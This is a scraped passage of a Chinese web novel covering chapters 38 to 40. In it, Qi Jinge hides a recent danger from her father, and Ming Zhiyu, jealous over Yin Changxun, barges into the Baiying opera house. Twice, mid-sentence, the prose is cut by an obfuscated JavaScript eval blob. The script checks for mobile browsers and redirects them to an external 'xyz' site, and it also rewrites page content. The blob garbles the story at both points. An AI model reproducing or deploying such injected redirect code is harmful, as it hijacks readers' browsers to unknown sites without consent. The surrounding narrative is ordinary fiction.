不是没想到带着那堆金银珠宝逃跑，且不说没有路引，到哪里去都是寸步难行，就算是侥幸成功出逃，殷夫人最恨他人背叛自己，到时候也一定会穷极一切把她找出来，把自己折磨的生不如死，到时候她的下场会比现在更惨。 眼下除了接受殷夫人的安排，自己似乎已经走到绝路了。 嫁给鲁庆和过苦日子，非要选一个，她永远也只能选择前者。 想到这，她捏紧了拳头，指尖都在发白。 38. 不安 祈今歌回了屋，堂屋虽然点了灯，却是不见人，再去厨房，一眼就看到了在饭桌旁坐着的父亲。 桌上点着油灯，烛火轻微地晃动着。 为了防止菜凉，桌面上三个摆菜的碟已经被小碗扣上。 祈成田正坐在板凳上。 他一只手撑着脑子，眼帘半搭着，一看就是等久了，现在睡意上来了，有些昏昏欲睡了。 听见身边有所响动，他下意识地望去，便看向站在门槛处的女儿。 一瞬间，他的倦意一扫而空，他揉了揉眼睛，脸上堆满了笑意，道:“回来了？傻站在那干嘛？快坐。” 祈今歌笑了笑，缓缓地走到了饭桌处，坐在了祈成田的对面。 祈成田将三个小碗揭开堆叠在一旁，一瞬间菜香四溢。 祈成田又起身去了炉灶去，装了两小碗米饭，又取了两双筷子，将其中一份摆在了祈今歌的面前，催促道:“饿了吧？赶紧吃饭吧，幸好菜还没凉。” 祈今歌点了点头，端起碗筷便开始用饭。 只是她仅仅是随意扒拉了几口，便没再动什么筷子。 平心而论，父亲的手艺是不错的，只是今晚发生的事，让她的心情跌宕起伏，久久难以平静，以致于没什么胃口。 祈成田看出了她的不对劲。 经过这段时间的相处，他已经比较了解自己的女儿了。 她家女儿情绪不怎么外漏，眼下她虽然没有多说什么，但是她微微蹙眉，又没吃几口饭，一看和往日的状态不太一样。 于是祈成田关心道:“怎么了？歌儿，菜不合胃口？” 祈今歌摇了摇头，道:“没有，父亲做的我都爱吃，只不过今儿个可能是天气太热了，所以没什么食欲。您吃吧，我陪着你。” 祈成田一听，也没多想。 也是。 虽然已经进入了秋季，可是天气还没真正凉快下来，也只有等到夜晚的时候，吹过来的风才是不带热气的。 天气一热，自然是吃不下什么东西的。 这是一个合情合理的说法。 于是祈成田便将心里的疑问翻了篇。 祈成田吃完了饭，放下了碗筷，又问到:“对了，歌儿，今天怎么感觉回来的时候比往日迟了？” 祈今歌背后一僵。 想到刚才发生的一切，依旧心有余悸。 只是事情已经过去，她也安然无恙，本着不愿意让父亲担心的想法，祈今歌便没有提及发生的危险，只是轻轻叹了一口气，随即微微笑道：“下工之后，收拾了会东西，所以耽误时间了，明天便不会了，以后还是照常回来。” 经过张麻子这件事，她哪里还敢天黑了还独自回来。 祈成田道：“那就好，你毕竟是女儿家，晚上不太安全。虽然我来云州的时候不长，感觉这治安还算不错，不过有时候就怕有意外啊。” 听言只觉心中一凛。 还真被父亲说中了，意外还真就找上她了。 可是她无疑又是幸运地，恰好，尹长寻救了她。 加上之前的总总，他已经帮了不止自己一次。 祈今歌当然是记得尹长寻的好的。 但自己除了一句又一句无力的“谢谢”，似乎再也不能回报什么。 就算不论之前的种种，今日尹长寻对自己有救命之分量可不是一般的重，绝对不是一句轻飘飘的感谢之语能够说得清的。 可是自己有什么能报答他的？ 她知道尹长寻现在喜欢她，可是她不能因为感激就和他在一起，这是对尹长寻的敷衍，更是对她重生一世的不负责。 但是除此以外，她还能有什么拿得出手？ 尹长寻什么都不缺，而自己几乎一无所有。 她想得有些头疼，好一会，才朝祈成田应答道：“爹爹说的是，我以后会注意的。” * 明芷玉最近心情很不好，她在自己的闺房里坐得烦闷，便起身立在窗前，出神地望着天空。 闷热的日子已经持续了许久，哪怕是待在家里一动不动，也让人心情烦躁。 和空气里漂浮着的热浪一样，同样烦躁着的，还有明芷玉的心。 辰时，终于是变了天。 原本湛蓝的天空瞬间乌云密布，预示着一场暴雨将要来临。 一阵萧瑟的秋风吹来，吹到人的身上，带来丝丝寒意，紧接着，便是滂沱的大雨开始落了下来，砸在地面啪嗒作响。 窗沿的水花炸开，溅在了明芷玉的白嫩的手臂上。 冰凉的触感将她神游的思绪唤了回来。 她拂去手上的水滴，低头喃喃道：“这种天气......哎，寻哥哥到底在干什么呢？可别着凉了才好。” 此刻想到心上人，明芷玉感觉到的已经并不是心动的甜蜜，而是难言的酸涩与抽痛。 比以前更甚。 尹长寻还在上京的时候，明芷玉也时常思念他。 可尹长寻远在千里之外，再舍不得放手，明芷玉也只能将这份年少的悸动放在心里。 那时候，她认为，她没办法和尹长寻在一起，是因为距离。 她长得好看，模样可人，家世虽然不算顶尖，也拿得出手，除了皇家贵胄，她不觉得她比不上别的女子。 尹长寻哪怕对她冷淡，纵然是块石头，只要她舍得下功夫，他终究有一天会被捂热吧。 她不过是来到了云州，没有机会罢了。 可是她现在不禁怀疑起了曾经的判断，隔断她和尹成寻的姻缘之路的，真的只是距离吗？ 她的长寻哥哥如今来了云州，可是她却觉得自己离他更远了。 她总觉得有一种说不清道不明的东西拦了她和尹长寻中间。 想到这，她的心情不由得由烦躁变得郁闷了起来。 前段日子的狩猎，自己也没能跟着一起去。 明正今日一早便出了门，问他的婢女，说是去了百影楼，又是不带着自己。 她哥哥明显就是要躲着自己，不想自己大吵大闹要跟着一起出去，若不是问了明正的贴身婢女，恐怕她还真是无法得知明正的行踪。 她知道，明正不带她出去，更多是尹长寻的意思。 大宇朝中，大多数女儿都是斯斯文文的性子，大门不出二门不迈，整日过着学着琴棋书画和女工女红的无趣日子。 可明芷玉对这些都没兴趣。 她偏偏生来和大多数女子不一样，性格活泼奔放，到处撒泼，处于孩童时期之时，常揍得同龄的男孩子哇哇大叫，怎么教导也改不过来，令家里人很是头疼。 可是爹娘都十分疼爱家中的小女儿，只要没伤风败俗，但是倒也是随她去了，别去惹是生非便也知足。 而她爱上尹长寻的原因也是很微妙。 她虽然武力在孩子群里面厉害，可是五六岁的孩子，哪怕是被揍了，嘴巴也是不会认输的。 比如说她不像女孩子、长大以后没人要之类的话，都已经是家常便饭了。 就连明正这个亲哥哥都会说：“你看你还有点女孩的样子吗？一天到晚不是追着这个打，就是把自己过浑身弄的脏兮兮的，你说哪个男孩子会喜欢你，你可别说你是我妹妹。” 别人说这些话，明芷玉只会把他们打得嗷嗷大哭，可是明正说这些话，她便只能憋着一口气往肚子里咽。 总不能把自己哥哥打得落花流水吧。 明芷玉委屈得不行，凭什么男孩子能动手，大家觉得理所应当，会说那是有男子汉气概，她动手就要被人嘲笑呢？ 就因为她是女孩子吗？ 她小小的脑袋想不明白这个问题。 因此她只能捏着自己的小拳头，假意威胁明正道:“你再这么说我看看！是哥哥我也揍！” 认识尹长之前，没有人认同明芷玉跳脱的一言一行。 在她还在上京的时候，先帝怕七皇子无聊，又加上明守义教书教得让十分让人满意，先特例允许让明守义的儿女进宫陪着七皇子打发时间，由着这次的机会，明芷玉才得以见得尹长寻。 当时的尹长寻和现在不太一样，他给人的感觉，远远没有现在这样冷淡和不驯。 相反，在明芷玉见到尹成寻的第一眼，便被他身上的安静和乖巧瞬间吸引了。 他说话彬彬有礼，脑子也非常聪明，和父亲口中夸赞的一摸一样。 最为关键是的是，他长得比明芷玉见过的所有小男孩都要好看，尤其是一双黑溜溜的眼珠子像是深渊的漩涡一样，多看一眼就被吸入其中，难以自拔了。 但这还不是明芷玉喜欢上他的理由。 两兄妹二人毕竟年纪尚小，虽然知道在皇宫里和皇子相处应当守规矩，但是毕竟是孩子，哪能一言一行都那么恰如其分，总有童言无忌的时候。 有一次，明家兄妹玩闹间发生冲突，明正没管住嘴，又拿出老一套的言论攻击她，惹得明芷玉嗷嗷大哭。 “明正和你开玩笑的，芷玉妹妹，别哭了，我看你现在这样就很好。” 尹长寻找宫女拿了帕子为她抹去了眼泪，温柔的笑了笑，“你现在这样就很好。” 那是一副和现在截然不同的模样，也是明芷玉眼中抹不去的色彩。 时隔多年，祈明珠还记得这句温柔的话语，也像珍宝一样保留着尹长寻递给她的手帕。 从那一刻，她就知道，尹长寻是特别的，她没办法忘记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457691|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 哪怕尹长寻现在变了许多，她心中记得的，依旧祈那时候温柔又可爱的小七皇子。 因为她明白，尹长寻并非天生就是如此冷漠，他也有过天真烂漫的时候，只是他的母妃苏双月死后，他才变得更加难以接近。 明芷玉不在乎这些，若他是冰山，她愿做火焰，纵然飞蛾扑火也要化了他内心的寒冰。 只是她的想法倒是好的，现在却是寸步难行，毕竟她连接近这座冰山的机会都没有。 原本是要她那倒霉哥哥没事便把她的长寻哥哥喊出来，给自己增加接触的机会的。 可是尹长寻来云州这么久了，自己也就去百影楼看戏的时候和他见了一次，说了几句话。 就这，还是看在了她老哥明正的面子上。 否则若是自己独身一人去找他，他甚至懒得见一面。 所以后来她都要求明正找尹长寻的时候带上自己。 尹长寻的话，明芷玉都愿意听，可尹长寻若是让她别见他，别烦她，那明芷玉做不到。 她可不管尹长寻乐不乐意，她想他，便要见他。 要是按尹长寻的意愿行事，她岂不是一辈子都不得见？ 在尹长寻后心有所属前，她不会放弃。 尹长寻不愿意见，妹妹想要见，明正夹在中间左右为难。 当然，他也很快就想出来了解决之策。 惹不起还躲不起吗？ 往往是明芷玉还没逮到他人，明正就已经扬长而去，早就出门了。 哪怕回来以后要面对亲妹的怒火，明正也不以为意，总是嬉皮笑脸地说：“男人一起出去自在，你一个女孩子家老是参和干嘛？多不方便。” 明芷玉只想翻个白眼。 明正到底是不是自己哥哥，怎么成天胳膊朝外拐？ 不方便？ 这三个字只能让明芷玉只能想到很不好的事。 明正倒也罢了，自己的哥哥自己清楚，他向来就是醉生梦死的性格，不是和青楼女子就是和戏子混在一起，无他而言怕是整日万花丛中才最自在。 可是尹长寻不应如此。 云州这等地方，哪比得上京城纸醉金迷，若是有兴趣，早就在京城之时就应该玩出花了，怎么会等到现在？ 尹长寻是不近女色的。 按他的条件，若是他想，但凡给一丝机会，追他的女人必从云州排到上京。 明正曾经劝过自己，别在尹长寻一棵树上吊死，整天热脸贴冷屁股，多没意思。 但是明芷玉做不到。 开什么玩笑。 喜欢人又不是吃饭，菜不合胃口就可以立马换个菜。 再说，尹长寻能和一般的男人相提并论吗？ 明正又不是不清楚，自己从小就喜欢尹长寻，在上京之时，在自己还不通男女之事时，还是个孩童的时候，她就对尹长寻见之难忘。 后来随爹爹离开上京，她对尹长寻的思念不紧没有随着时光的流逝而淡去，反而像醇酒一样越发浓香。 她原本只打算将自己的儿女情长烂在肚子里，可是天意弄人，尹长寻竟然来到了云州。 就连老天爷都在帮她，除非尹长寻亲自和她说不喜欢自己，不然她是不可能就这么放弃的。 感情的事她不能控制，任何人也不能。 尹长寻的性子难以相处，大多时候都冷冰冰的，或许这般冰冷的人，一辈子都不会沉溺于情爱。 没关系，她来爱他便好了。 可是....... 尹长寻现在天天和明正那帮狐朋狗友三天两头百影楼跑，这明显不对劲。 尹长寻是会看看戏曲打发时间，可离沉迷其中还差十万八千里。 不知为何，她突然想到了那名叫祈今歌的女子。 那是她第一次见到尹长寻因为一个女人而失神。 她突然意识到，也许她的心上人，并不会一辈子都不对任何人心动。 她的心开始变得越来越不安起来。 实在是不对劲。 她的长寻哥哥突然买下百影楼也很奇怪，莫不是在百影楼看上了哪个狐狸精？ 狐狸精一个就已经很烦了，万一有两个，三个呢？ 她不怕贼偷，还不怕贼惦记吗？ 万一好死不死，就是其中有一个就是对上尹长寻的眼呢？尹长寻以前没对人心动，不代表一辈子不对人心动。 直觉告诉自己，在百影楼肯定有蹊跷。 自己绝对不能坐以待毙。 她必须捍卫自己的爱情。 想到这她立马就待不住了，立马朝着门外大声喊道：“莲儿！把伞带上，然后叫人给我把马车备好！” 39. 爱慕 这日祈今歌到达百影楼的时候，比往日要迟了些。 雨下得太大，就像是天空被拉上了一道水帘，一层层水雾在空气中弥漫，整个城市都在雨水的冲刷中看得不太真切。 尽管出门之时已有准备，但是祈今歌手上握着的油纸伞没办法抵御住这种程度的狂风暴雨，她的裙摆已经被雨水打湿，几缕黑发也被雨水浸润，服帖地与肌肤相接。 她甩了甩身上的雨水，随即便去了茶水间。 或是由着大雨的缘故，大家今日都十分得闲，都在茶水间嘻嘻笑笑着，陆陆续续地，人来得越来越多。 毕竟这么大的雨，路上行人都没几个，今天百影楼内难得门庭冷落，还有客人来到的概率微乎其微。 “你们说今天这么大雨，估计也没客人来了，叶威管事会不会大发慈悲，让我们直接休息一天啊？” 王水闲看着窗外飞溅的雨水，开始做白日美梦。 “你想得美，你见过饭馆因为下雨就不开门的吗？叶管事不是说了，让我们先候着看看情况，想来就是大家无事，守都得守在这。” 说话的女子长着一张瓜子脸，柳叶眉，皮肤白皙，琼鼻樱唇，穿着一身翡翠绿烟纱襦裙，衬得她清纯又脱俗，煞是好看。 此人正是百影楼当红的花旦曲白灵。 大抵是由于之前做过很长时间的冷板凳，所以曲白灵纵然如今名声大震，可一点也没有因此高高在上，来的时候是什么性子，现在依旧是什么性子，丝毫没有仗势凌人，反而和姑娘们打成一片，彼此之间一片和气。 王水闲和楼内其他几名年轻姑娘坐在同一桌，脸上笑得灿若桃花，又开始扯了点有的没的话题聊了起来，一个个因为今日得闲而心情大好，看起来神采奕奕，连着声音都清亮了几分， “要我看啊，指望叶管事让我们主动回去是不可能了，不过我看今日东家不是也来了？东家大方的很，想必也是很好说话的，不如咱们派个人去和他说说好话，让他给咱们休个假不就得了？” “说得好？谁去！” “你去！” “呸呸呸，当然是你去！” “我去？还是你去！” 她们几个时不时发出笑声，你一言我一语，闹腾的不行，惹得坐在另一旁的男子们无奈地摇了摇头。 祈今歌喜欢清静，于是自行找了个角落的桌子坐下，正在烧水的安碧将水渡进了茶罐，提着过来放在桌上，里面是刚煮好的姜茶，还冒着热腾腾地热气。 祈今歌点头致谢，给自己倒了一杯，小啜一口，身体已觉得回暖了不少。 她放下茶杯，看向安碧，问道：“安碧，今日咱们不用作准备吗？” 百影楼的伙计都聚集在这里，大厅就留了一个叶兴还守着，甚至一个个妆都还没化，看起来俨然像是罢了工。 安碧淡淡道：“嗯，今日应该是不会有什么人来了，不过来了几个也不要紧，如果来得客人也只有一两个的话，咱们也不会单独唱一出的，至少得有十来个客人才行。若是没人来，咱们等于就是待在在这休息一天，到时辰了回去就行。” 祈今歌转头看了一眼窗外的瓢泼大雨。 别说十个了，今天能来一个客人都难。 王水闲那一桌的姑娘们说话声音却是越来越大。 “既然提起东家，我倒是有话要说。我原本以为明正公子原本长的已经不错，可是有句话不是说人比人，气死人不是。咱们东家就更好看了，你们说他到底是哪家公子啊？我也完全打听不到什么消息，不过能和太守之子称兄道弟的，也不是一般人吧？” 说话的人乃是戏子柳诗诗，虽不及当家花旦一样受欢迎，因为长的漂亮，喜欢她的也人也不少，因此看男人的目光也称得上眼高于顶。 不少女子着重看男人钱财地位，而刘诗诗却独独在乎男子的相貌。 比如明正过来好几次，大伙也没见她没张口夸奖，这会倒是不吝啬赞美之词。 柳诗诗都认同了，围在一团的姑娘们也一个个表达自己的激动之情，不再掩饰。 祈今歌无奈地笑道：“小姑娘的心思就是藏不住，东家不是今天来了吗，还在这议论纷纷，也不怕人听见。” 小姑娘？ 祈今歌自己不也就是为小姑娘吗？怎么这话说得她好像大了起于的姑娘不少一样？ 安碧见她一幅少女老成的样子，觉得分外奇怪，也分外有意思。 祈今歌不只是气质清冷，看上去和同龄活泼的姑娘不一样，其实她的一言一行也都有种大姐姐的感觉，要比一般人要沉稳得多。 哪怕安碧大她七岁，都常常觉得祈今歌身上给人的稳重之感远远胜过自己。 安碧很是喜欢祈今歌的性子，至纯至净，像是高山之雪，尘世间的污浊丝毫也没落入她的肩头。 坐到了她的对面，安碧也给自己倒了杯姜茶，回答道：“小姑娘是这样的，见了美男子，哪有不喜欢的，再说背后说人好话，东家听了，也会高兴的。” 祈今歌一怔，放下茶杯，看向安碧，道：“是吗？” 尹长寻会因为别人夸他就高兴吗？ 她怎么记得，前世别人恭维他，他都直接当耳边风的。 但是，祈今歌想了想，自己夸他的时候，好像他的确是高兴的。 至少谈不上讨厌。 “是啊，毕竟东家长的确实俊。” 安碧浅笑着，茶色的眸子里透着温柔，道:“再说姑娘们的心思其实已经憋了很久了，你是不知道，东家刚来的时候，其实姑娘们都看呆了，只是没人提起这个话头罢了。而且最开始东家来得哪有现在来得频繁，现在东家这几天不天天都来吗，虽然也不怎么和咱们说话，不过光是看着，也是赏心悦目的，姑娘们正是情窦初开的年纪，得不到，说几句过过瘾也是好的。” 祈今歌一怔。 的确。 自从张麻子那件事以后，已经过去半个月有余，尹长寻不管来百影楼的时间长不长，但是都会来看一眼。 就好像是为了确认什么一般。 难道尹长寻是为了自己才过来的？ 冒出这个念头的一刹那，祈今歌自己都有点吓一跳。 不过是人家路见不平拔刀相助，救了自己一命罢了，由此就觉得自己多重要，这未免是太把自己看重了些？ 于是这个猜想也只能默默放在心中，祈今歌可不会去找尹长寻去确认她有没有猜对或者猜错。 只是在这个想法诞生的这一刻，祈今歌心里一股热浪涌动。 祈今歌换了个话题，让自己不再去想这件事。 她习惯于掩藏自己的心意，并不喜欢别人探究的目光。 更何况...... 最近这段时间，想起尹长寻的次数也实在是太多了点。 她道：“话虽然是这么说，安碧你怎么也不去热闹热闹？” 安碧笑了笑，她之所以不感兴趣，倒不是因为对东家的美色不屑一顾……而是因为百影楼大家都知道原因。 她爱慕着百影楼的李衡。 因此哪怕有比他更好的人出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457692|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现，她也是视若无睹。 因此，她也没有讨论美男的兴趣，更不会和众多少女一并发花痴。 祈今歌看出了她微笑之中的苦意。 她来百影楼不久，但是也知道安碧喜欢李横的事，又或者说，百影楼之中，谁不知道呢？ 喜欢一个人的眼神根本藏不住。 只是李衡作为炙手可热的台柱子，受人追捧，难免性情高傲，喜欢他的人之中，不乏世家小姐，豪门夫人，皆是一掷千金，花起钱来毫不手软，而与之相比，安碧虽然面容清秀，却只是百影楼内却只是负责管打杂的，相比之下，未免黯然失色。 安碧亦有自知之明，不敢妄想不该想的，她本来就是个分寸有度的性格。 只是她的心却不受自己控制，她虽未说一句，可是她不时落在李衡身上的目光，已经将自己的心思流露了出来。 只是李衡却并不愿意接受她的好意。 对他而言，不说安碧的身份，也不说她的样貌的平平无奇，就论她年纪，她甚至还比李衡大了整整五岁，李衡认为安碧喜欢自己这件事对他而言简直就是污点，因此每次都对她冷言冷语。 也不是没有人劝过安碧，让她安心找个门当户对老实人过日子便也算了，可向来温婉的她在这件事上却异常坚持，她依旧是我行我素、甘之如始。 祈今歌原本只是想随意换个话题，可是没想到却一下子触及到了安碧的伤心事。 她刚准备开口说点别的，安碧却是平静道：“也正常，毕竟我年纪大了他们许多，也没那么多小姑娘的心思。” 说是年纪大，却也不过是二十有五，只不过心中有人，就如此卑微。 祈今歌沉默，并不点穿，只是默默给安碧又续上了一杯姜茶。 因为今日无客，所以叶威也未如平常一般要求严格，任由楼里的人自由活动，又加上东家尹长寻来了，于是他早早去了副楼二层去汇报近日的情况。 王水闲闲聊结束，才发现祈今歌坐在不远处早就来了好一会儿了。 正巧桌上的姑娘们聊够了，几人散了开来，王水闲则起身刚准备走过去，大厅戏台处就传来了一阵吵吵嚷嚷的声音。 “姑娘！姑娘！实在对不住，今天咱们这没戏可唱!东家也不是随便能见的，您先让我通报一声！哎哎哎，您去哪儿啊！后院乃是私密之地，您不得擅闯啊！” 叶兴的声音透漏着惊慌失措，随即，两道高低不一的女声又传了过来。 “有眼不识泰山是吧?知不知道我是谁，我可是太守之女明芷玉，我哥哥明正是你们东家的好弟兄，谁敢拦我？放开我，我要见你们东家，他是不是在这！” “还不快给我们家小姐让开？好狗不挡道！” 一直之间，在茶水间晃悠的众人都纷纷起身，纵然这忍不住看热闹的心，一个个朝发出动静的声音走去。 祈今歌和安碧也跟着一同前去。 叶兴还来不及辨认来人身份的真伪，便看到百影楼内的一群人纷纷跑过来查看动静。 明芷玉和婢女莲儿打量着突然出现在面前的一群人，神色不屑。 不过是戏子而已，终归是不入流的货色，难登大雅之堂。 要是往日，她简直是懒得多给一个眼神。 要不是为了尹长寻，她怎么会独自前来。 她倒要看看，这能勾住尹长寻的狐狸精到底是哪位。 然而当她的目光微微扫过祈今歌的时候，明芷玉高傲的神情瞬间变形。 “是你？！你怎么在这？！” 40. 死心 明芷玉的话语里满是震惊。 怎么又是她？ 这女人是鬼吗？怎么阴魂不散的？ 云州这么大，她好不容易出一次门，结果这也能遇到她？ 绝对是见了鬼了。 上一次尹长寻反常地把她送回家，她已经看这个女人非常不顺眼，没想到竟然在百影楼又看见了她？ 一瞬间，明芷玉内心有了个大胆的猜想。 她以为会出现另外的狐狸精，其实至始至终，这些狐狸精都只是一个人？ 难道尹长寻经常来这。 敢情不是为了看戏，也不是为了园子里貌美如花的戏子，而仅仅只是为了这个叫祈今歌的女人？ 下一刻她就被自己脑海中这个不可思议的猜想吓一跳。 不可能？太荒谬了！ 这个女人不过是身份卑贱的一个家妓，哪怕她现在赎身成了良民，这也是她永远洗不去的一个污点！ 尹长寻心血来潮，短暂地对她感兴趣，明芷玉还能勉强接受。 但是要是费心思到这种程度，绝对是不可理喻！ 尹长寻和祈今歌两个人的身份云泥之别！尹长寻绝对是疯了才会对这种低贱的女人认真！ 祈今歌哪明白明芷玉心中的弯弯绕绕，但是她此刻明摆着和自己说话，她也不好不搭理。 她上前几步，侧身行礼。 “明姑娘，又见面了，我如今在这里做琴师。” 明芷玉冷着脸，咬着后槽牙，不理她。 叶兴见祈今歌对她客客气气，又称呼她姓“明”，他眼珠子一转，顺便心里一琢磨，估计这闹腾的姑娘还真不是信口开河。 原来还真是太守之女。 尽管心里大概也有了数，但是他做事也算得上谨慎，还是和祈明珠求证道：“今歌姑娘，她真的是明太守的女儿吗？” 言语之中，还是有那么一点点的怀疑。 毕竟在他心里，明太守那样高风亮节之人教出来的女儿应该是知书达理的，但明芷玉刚刚的所作所为与淑女大相径庭，不像是娇养在宅中的蔷薇，反倒是像是土生土长养在田土的红色小辣椒——泼辣的要命。 要知道，哪怕是公认的不争气的明正，也是风流而不下流，最基本的礼数还是不差的，怎么女儿反倒是比寻常男子还要凶悍些。 明芷玉也不是傻瓜，怎么会不懂叶兴言词之中的不确定是什么意思，于是脸色又更加不好看的半分。 一旁的莲儿看不下去了，她们家小姐哪里受过这等委屈？ 祈今歌还没来得及回答叶兴的话，她便抢先一步嚷嚷道：“你是哪个招的愣头青小子？你们家管事呢？我们小姐说了，上次她是和公子一同来过你们这看戏的，还是你们管事亲自招待的，你把你们这管事喊过来，让他看看你是个什么玩意儿！” 言辞之间，颇有些无理取闹之势。 这事还真不怪叶兴。 毕竟他不可能听人报个名头，就任人在园内横冲乱窜。 而且每天百影楼出入的人至少是上百人，其中贵客又往往是由管事叶威亲自接待，叶兴也不可能知道每一个人的身份，眼下被如此刁难，实在是有些过了。 祈今歌看了一眼叶兴，他一张清秀的小脸明显有些慌了，显然是被吓到了。 对方是太守的女儿，身份尊贵，哪怕明太守不是仗权欺人之人，他也是不愿意得罪的。 现在明芷玉的婢女又放了狠话要告状，要是舅舅知道他这点事都处理不好，十有八九是要骂他一顿的。 祈今歌决定帮他一把。 “莲儿姑娘。” 莲儿回头看了一眼祈今歌，道：“干嘛？” 尽管她也只是个丫鬟，可是对祈今歌并不客气。 毕竟她家小姐看起来就非常讨厌这名女子，哪怕她和祈今歌无冤无仇，之前甚至都没见过这个女人，但谁让她是一名忠心耿耿的婢女呢？ 她肯定也是不会给她什么好脸色的。 祈今歌平静道：“莲儿姑娘，你向着你家小姐，看她受不得委屈，诚然，你是个好奴仆。” 莲儿不知道她卖什么关子，挑眉道：“这当然，还要你说？” 祈今歌看她不明所以的意思，突然笑了一笑，道：“只是你要知道，你的主子不光是你家小姐，更是整个明府，换句话说，明太守、明夫人也是你的主子，对吗？” 莲儿撇了撇嘴，不知道她将这再明显不过的道理突然摆出来讲师为哪般。 她叉着腰，颇为不在意道：“是又如何？” 祈今歌平平道：“百影楼的伙计不识你家小姐，的确是他的过失。可明芷玉小姐金枝玉叶，又不是寻常姑娘，养在闺阁难以得见，我们这些人身份地位，哪能有幸见过？既然没见过，那就并非存心与你家小姐作对。再说，你家小姐尚且还未发难，你却先骂起人来了，知道的，说你是忠心护主，不知道的，岂不是认为明府对下人管教无方？更有甚者，还得怀疑起明太守的品行来了，毕竟什么样的主子就教出什么样的下人，你的一言一行多代表着你家主子的品行，你说我说的对不对？” 莲儿愕然。 她和明芷玉对望了一眼，随即沉默了。 同样陷入沉默的还有明芷玉。 祈今歌明面上点的是莲儿的名字，实际上是在提醒她呢——作为太守之女的女儿，更要注意自己的言行。 明芷玉就是再刁蛮任性，不在乎别人对自己的看法，可冷静想想，她也不能损了爹爹爱民如子的名声。 作为女儿，她不能给父亲带来荣耀，但是她的尊严也不容许她做出来抹黑家族的举动。 明芷玉凝望着祈今歌。 打蛇打七寸。 祈今歌这个狐媚子倒是厉害，和只会卖弄风骚的妓子还是不一样，竟然能够一下就抓住她的要害。 要知道，她们仅仅才见过两面而已。 她却能准备地判断出她在乎什么。 明芷玉头疼了起来。 是个狐狸精便罢了，甚至还是个有脑子的狐狸精，这简直是棘手。 她的脸色很不好看，但是也不得不收敛了脾气。 她冷哼一声，翻了个白眼，朝着翠儿吩咐道：“莲儿，算了，别管这个伙计了，这事不重要。” 她指着叶兴道：“你带我去找你家东家，刚刚的事就算翻篇了。” 围观的众人见明芷玉不再纠缠，也跟着松了口气。 叶兴见风波平息了下来，感激地看了祈今歌一眼，又朝着明芷玉连连点头，屈身坐了一个“请”的手势，道：“好的好的，明小姐，请您和我来。” 在一群人的视线中，这对主仆跟着叶兴的步伐，直接踏上一侧楼梯，走向了二楼。 * 叶兴领着二人到了门口，小心翼翼地问道：“明小姐，要不，我先进去通报一声？” 莲儿道：“说你笨你就不聪明，做事这么死板的，我家小姐和你们东家可是青梅竹马，需要这么见外吗？” 叶兴才逃过一劫，哪里还敢惹她们两个，只好道：“那若是无事，我就先下去忙了。” 明芷玉挥了挥手，示意他可以走了。 见叶兴下了楼，明芷玉对着莲儿道：“你在门外等我会，没事别让别人来打扰。” 莲儿点了点头。 明芷玉深吸了一口气，推开门。 随着一声响，她如愿所偿见到了朝思暮想的人。 尹长寻果然在这。 此外，自己的哥哥，还有他的两个死党金利和李别肃坐在一块，管事叶威正站在尹长寻正前方，手上捧着一本连载厚厚的册子，似是正在汇报着什么。 尹长寻看向她，眼神中有不解，似是奇怪她为何会突然出现，除此以外，还有一丝不耐。 明芷玉太懂这个眼神了，他一定是烦恼她怎么跑了过来。 原本怒气冲冲的明芷玉在看到尹长寻那张英俊的脸的时候，气已经消了一半。 她就是再任性、在不懂事，也不会在尹长寻面前不懂事，不光是因为她得罪不起他，更是因为她喜欢他。 “妹妹，你来这干嘛？” 明正挠了挠头，他特意避开明芷玉出门，怎么她抓不到人，还自己跑出来了？ 真是胆子越来越大了。 明芷玉懒得理明正，直接三步并作两步走到尹长寻面前，道：“长寻哥哥！” 不同于以往的撒娇，她的声音里透露一丝委屈和哭腔。 明正听得鸡皮疙瘩掉了一地，她妹妹这神情怎么搞得好像经历了什么生离死别一样。 不就是和尹长寻有段时间没见了吗？ 不至于这么夸张吧？ 之前这么多年没见不也过来了？ 叶威见状，知道现在不是说话的时候，道：“东家，我先去门外候着？您忙完了，咱们再继续谈这件事。” 见尹长寻点了点头，叶威便将账本收了起来，识趣地告辞退下，并善解人意地关上了门。 尹长寻看着明芷玉，问道：“你来干什么？” 他这幅不在乎的态度狠狠刺痛了明芷玉的心。 她强忍着内心的你难受，问道：“没什么，长寻哥哥，好久没见你，你又不肯来见我，我还不能来看你吗？” 金利和李别肃被她如此直白的话语吓了一跳。 因为明正的缘故，他们是见过几次明家小姐的，只是并没有说过几句话，毕竟明芷玉在外人，尤其是男子面前可是十分傲气的，可不会无缘无故的对别人热情，也断然不会是现在这副委屈巴巴的小媳妇模样。 明正和尹长寻对这副模样却已经见怪不怪了。 明芷玉是被宠坏了的“公主”，所以她和循规蹈矩的女子不一样，她自信、奔放、活泼，不会像某些人一样将感情藏在心里。 她想一个人就会直接说出口。 她爱一个人也会表达得所有人都知道。 她从小就是这样。 就如此时此刻，哪怕有其他人在场，她也会直接说出自己的所思所想，毫不避讳。 尹长寻当然明白明芷玉对自己的心思。 表现的这么明显，除非瞎子才看不见。 正因为如此，所以才不能给她好脸色，让她抱着不该有的期待。 所以意识到这点可以后，尹长寻就对明芷玉很冷淡，可如今看到，依旧是冷淡得不够。 尹长寻神情淡漠，安静地道:“你想我干什么？我又不想见你。” 明芷玉听得心里一阵抽痛。 